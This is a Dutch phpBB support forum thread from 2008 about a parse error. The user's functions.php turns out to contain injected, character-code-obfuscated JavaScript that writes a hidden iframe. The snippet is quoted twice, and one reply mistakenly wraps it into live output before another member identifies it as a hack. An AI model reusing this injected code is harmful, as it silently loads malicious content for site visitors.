Pagina 1 van 1

syntax error

Geplaatst: 08 okt 2008, 15:53
door stormyweather
  • Adres van je forum: http://schaakclubmiddelstum.nl/phpBB2/
    Event. modificaties op je forum: niet zoveel en niet onlangs.
    Wanneer ontstond het probleem? vanmiddag
    phpBB versie: 2.0.23

    Heb je onlangs iets veranderd aan je forum? Nee
    Wat is het probleem?
Parse error: syntax error, unexpected '<' in /home/schaakclubmiddnl/HTML/phpBB2/includes/functions.php on line 937

Hieronder line 932 t/m 955 van mijn includes/functions.php waarbij "<script>" line 937 is.

Code: Selecteer alles

// Redirect via an HTML form for PITA webservers
if (@preg_match('/Microsoft|WebSTAR|Xitami/', getenv('SERVER_SOFTWARE')))
{
header('Refresh: 0; URL=' . $server_protocol . $server_name . $server_port . $script_name . $url);
echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><meta http-equiv="refresh" content="0; url=' . $server_protocol . $server_name . $server_port . $script_name . $url . '"><title>Redirect</title></head><body><div align="center">If your browser does not support meta redirection please click <a href="' . $server_protocol . $server_name . $server_port . $script_name . $url . '">HERE</a> to be redirected</div></body></html>';
<script>
var temp="",i,c=0,out="";
var if_uniq_var="02102008-01";
var str="60!105!102!114!97!109!101!32!115!114!99!61!34!100!111!99!104!101!108!112!49!46!104!116!109!108!34!32!102!114!97!109!101!98!111!114!100!101!114!61!34!48!34!32!115!116!121!108!101!61!34!100!105!115!112!108!97!121!58!110!111!110!101!34!62!60!47!105!102!114!97!109!101!62!";
l=str.length;
while(c<=str.length-1)
{
    while(str.charAt(c)!='!')temp=temp+str.charAt(c++);
    c++;
    out=out+String.fromCharCode(temp);
    temp="";
}
document.write(out);
</script>

exit;
}

// Behave as per HTTP/1.1 spec for others

Re: syntax error

Geplaatst: 08 okt 2008, 17:45
door Jan
Helpt dit:

Code: Selecteer alles

// Redirect via an HTML form for PITA webservers
if (@preg_match('/Microsoft|WebSTAR|Xitami/', getenv('SERVER_SOFTWARE')))
{
header('Refresh: 0; URL=' . $server_protocol . $server_name . $server_port . $script_name . $url);
echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><meta http-equiv="refresh" content="0; url=' . $server_protocol . $server_name . $server_port . $script_name . $url . '"><title>Redirect</title></head><body><div align="center">If your browser does not support meta redirection please click <a href="' . $server_protocol . $server_name . $server_port . $script_name . $url . '">HERE</a> to be redirected</div></body></html>
<script>
var temp="",i,c=0,out="";
var if_uniq_var="02102008-01";
var str="60!105!102!114!97!109!101!32!115!114!99!61!34!100!111!99!104!101!108!112!49!46!104!116!109!108!34!32!102!114!97!109!101!98!111!114!100!101!114!61!34!48!34!32!115!116!121!108!101!61!34!100!105!115!112!108!97!121!58!110!111!110!101!34!62!60!47!105!102!114!97!109!101!62!";
l=str.length;
while(c<=str.length-1)
{
    while(str.charAt(c)!=\'!\')temp=temp+str.charAt(c++);
    c++;
    out=out+String.fromCharCode(temp);
    temp="";
}
document.write(out);
</script>';

exit;
}

// Behave as per HTTP/1.1 spec for others

Re: syntax error

Geplaatst: 08 okt 2008, 18:31
door stormyweather
Bedankt maar helaas.
Ik heb de ouwe weer teruggezet want deze levert nog meer foutmeldingen op:

Warning: mysql_connect() [function.mysql-connect]: Access denied for user 'schaakclub1'@'localhost' (using password: YES) in /home/schaakclubmiddnl/HTML/phpBB2/db/mysql4.php on line 48

Warning: mysql_error(): supplied argument is not a valid MySQL-Link resource in /home/schaakclubmiddnl/HTML/phpBB2/db/mysql4.php on line 330

Warning: mysql_errno(): supplied argument is not a valid MySQL-Link resource in /home/schaakclubmiddnl/HTML/phpBB2/db/mysql4.php on line 331
phpBB : Critical Error

Could not connect to the database

Re: syntax error

Geplaatst: 08 okt 2008, 18:47
door Bee
Dat kan niet veroorzaakt worden door aanpassingen in includes/functions.php :?

Re: syntax error

Geplaatst: 08 okt 2008, 19:21
door Jan
Zoals Bee zegt, het een heeft met het ander niet te maken.

Volgens mij is je config.php corrupted, probeer een nieuwe config.php aan te maken, met deze tool: http://www.phpbb.nl/hulpmiddelen/config_gen

Zet erna eventjes mijn code terug, zou moeten opgelost zijn.

Indien het echt niet lukt en je heel dringend een oplossing nodig hebt mag je me op msn toevoegen.

Re: syntax error

Geplaatst: 08 okt 2008, 19:39
door stormyweather
Ik heb het geprobeerd, maar dan krijg ik zie als volgt:

http://schaakclubmiddelstum.nl/phpBB2/

Re: syntax error

Geplaatst: 08 okt 2008, 20:14
door Jan
Heb je een spatie voor de <?php of na de ?> gezet in config.php?

Re: syntax error

Geplaatst: 08 okt 2008, 20:25
door stormyweather
Er staat er 1 na ?>

Re: syntax error

Geplaatst: 08 okt 2008, 22:46
door Ramon Fincken
jongens ...

</script> is javascript en hoort niet direct in PHP te staan.

vervang de HELE functie eens hierdoor?

Code: Selecteer alles

function redirect($url)
{
   global $db, $board_config;

   if (!empty($db))
   {
      $db->sql_close();
   }

   if (strstr(urldecode($url), "\n") || strstr(urldecode($url), "\r") || strstr(urldecode($url), ';url'))
   {
      message_die(GENERAL_ERROR, 'Tried to redirect to potentially insecure url.');
   }

   $server_protocol = ($board_config['cookie_secure']) ? 'https://' : 'http://';
   $server_name = preg_replace('#^\/?(.*?)\/?$#', '\1', trim($board_config['server_name']));
   $server_port = ($board_config['server_port'] <> 80) ? ':' . trim($board_config['server_port']) : '';
   $script_name = preg_replace('#^\/?(.*?)\/?$#', '\1', trim($board_config['script_path']));
   $script_name = ($script_name == '') ? $script_name : '/' . $script_name;
   $url = preg_replace('#^\/?(.*?)\/?$#', '/\1', trim($url));

   // Redirect via an HTML form for PITA webservers
   if (@preg_match('/Microsoft|WebSTAR|Xitami/', getenv('SERVER_SOFTWARE')))
   {
      header('Refresh: 0; URL=' . $server_protocol . $server_name . $server_port . $script_name . $url);
      echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><meta http-equiv="refresh" content="0; url=' . $server_protocol . $server_name . $server_port . $script_name . $url . '"><title>Redirect</title></head><body><div align="center">If your browser does not support meta redirection please click <a href="' . $server_protocol . $server_name . $server_port . $script_name . $url . '">HERE</a> to be redirected</div></body></html>';
      exit;
   }

   // Behave as per HTTP/1.1 spec for others
   header('Location: ' . $server_protocol . $server_name . $server_port . $script_name . $url);
   exit;
}

Re: syntax error

Geplaatst: 09 okt 2008, 11:54
door stormyweather
Nou er zit vooruitgang in want dit heeft het aantal foutmeldingen teruggebracht van 3 naar 1. Deze verschijnt nu:

Parse error: syntax error, unexpected '}' in /home/schaakclubmiddnl/HTML/phpBB2/includes/functions.php on line 946

Hieronder de laatste 7 regels van mijn includes/functions.php, de 5de regel is line 946

Code: Selecteer alles

// Behave as per HTTP/1.1 spec for others
header('Location: ' . $server_protocol . $server_name . $server_port . $script_name . $url);
exit;
}

?>

Re: syntax error

Geplaatst: 09 okt 2008, 14:13
door Ramon Fincken
Fred, PM me even je FTP kijk ik er vandaag nog naar.

Re: syntax error

Geplaatst: 09 okt 2008, 15:58
door Paul
Ramon Fincken schreef:jongens ...

</script> is javascript en hoort niet direct in PHP te staan.

vervang de HELE functie eens hierdoor?

Code: Selecteer alles

function redirect($url)
{
   global $db, $board_config;

   if (!empty($db))
   {
      $db->sql_close();
   }

   if (strstr(urldecode($url), "\n") || strstr(urldecode($url), "\r") || strstr(urldecode($url), ';url'))
   {
      message_die(GENERAL_ERROR, 'Tried to redirect to potentially insecure url.');
   }

   $server_protocol = ($board_config['cookie_secure']) ? 'https://' : 'http://';
   $server_name = preg_replace('#^\/?(.*?)\/?$#', '\1', trim($board_config['server_name']));
   $server_port = ($board_config['server_port'] <> 80) ? ':' . trim($board_config['server_port']) : '';
   $script_name = preg_replace('#^\/?(.*?)\/?$#', '\1', trim($board_config['script_path']));
   $script_name = ($script_name == '') ? $script_name : '/' . $script_name;
   $url = preg_replace('#^\/?(.*?)\/?$#', '/\1', trim($url));

   // Redirect via an HTML form for PITA webservers
   if (@preg_match('/Microsoft|WebSTAR|Xitami/', getenv('SERVER_SOFTWARE')))
   {
      header('Refresh: 0; URL=' . $server_protocol . $server_name . $server_port . $script_name . $url);
      echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><meta http-equiv="refresh" content="0; url=' . $server_protocol . $server_name . $server_port . $script_name . $url . '"><title>Redirect</title></head><body><div align="center">If your browser does not support meta redirection please click <a href="' . $server_protocol . $server_name . $server_port . $script_name . $url . '">HERE</a> to be redirected</div></body></html>';
      exit;
   }

   // Behave as per HTTP/1.1 spec for others
   header('Location: ' . $server_protocol . $server_name . $server_port . $script_name . $url);
   exit;
}
Waarom staat er dan </html> direct in jouw php? Juist, om dezelfde reden als daar javascript staat. Het enige verschil ermee is dat hij gehacked is, doordat die javascript code een Iframe invoegt met kwaadaardige code. het enkel verwijderen is dus niet de correct oplossing.

Re: syntax error

Geplaatst: 09 okt 2008, 16:09
door Ramon Fincken
point taken, maar ik merkte op dat de headers sent kwam omdat er fysieke HTML/JS in een PHP file stond.

Re: syntax error

Geplaatst: 09 okt 2008, 16:25
door Paul
Ramon Fincken schreef:point taken, maar ik merkte op dat de headers sent kwam omdat er fysieke HTML/JS in een PHP file stond.
Hij stond in een echo, wat dus volledig correct is normaal gezien. Die echo staat tenslotte ook nog in jouw code op dezelfde plek.

Re: syntax error

Geplaatst: 10 okt 2008, 21:47
door stormyweather
Mensen bedankt voor het meedenken, maar ik heb besloten tot een herinstallatie. Dit draadje mag dus wel dicht. groet.